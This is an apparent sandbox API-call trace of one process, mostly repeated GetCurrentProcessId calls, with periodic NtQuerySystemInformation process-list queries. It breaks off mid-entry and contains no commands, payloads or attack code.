[0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.774] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.775] GetCurrentProcessId () returned 0xd70 [0121.776] GetCurrentProcessId () returned 0xd70 [0121.776] GetCurrentProcessId () returned 0xd70 [0122.281] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c068) returned 0x0 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.285] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.286] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.287] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.288] GetCurrentProcessId () returned 0xd70 [0122.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1be18) returned 0x0 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.808] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.809] GetCurrentProcessId () returned 0xd70 [0122.810] GetCurrentProcessId () returned 0xd70 [0122.810] GetCurrentProcessId () returned 0xd70 [0122.810] GetCurrentProcessId () returned 0xd70 [0122.810] GetCurrentProcessId () returned 0xd70 [0122.810] GetCurrentProcessId () returned 0xd70 [0122.810] GetCurrentProcessId () returned 0xd70 [0122.810] GetCurrentProcessId () returned 0xd70 [0122.810] GetCurrentProcessId () returned 0xd70 [0122.812] GetCurrentProcessId () returned 0xd70 [0122.812] GetCurrentProcessId () returned 0xd70 [0122.812] GetCurrentProcessId () returned 0xd70 [0122.812] GetCurrentProcessId () returned 0xd70 [0122.812] GetCurrentProcessId () returned 0xd70 [0122.812] GetCurrentProcessId () returned 0xd70 [0122.812] GetCurrentProcessId () returned 0xd70 [0122.812] GetCurrentProcessId () returned 0xd70 [0122.812] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.813] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.814] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0122.815] GetCurrentProcessId () returned 0xd70 [0123.349] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1be18) returned 0x0 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.360] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.361] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.362] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.363] GetCurrentProcessId () returned 0xd70 [0123.364] GetCurrentProcessId () returned 0xd70 [0123.364] GetCurrentProcessId () returned 0xd70 [0123.364] GetCurrentProcessId () returned 0xd70 [0123.364] GetCurrentProcessId () returned 0xd70 [0123.364] GetCurrentProcessId () returned 0xd70 [0123.364] GetCurrentProcessId () returned 0xd70 [0123.364] GetCurrentProcessId () returned 0xd70 [0123.364] GetCurrentProcessId () returned 0xd70 [0123.974] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c010) returned 0x0 [0123.975] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.976] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.977] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.978] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0123.979] GetCurrentProcessId () returned 0xd70 [0124.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c010) returned 0x0 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.501] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.502] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.503] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] 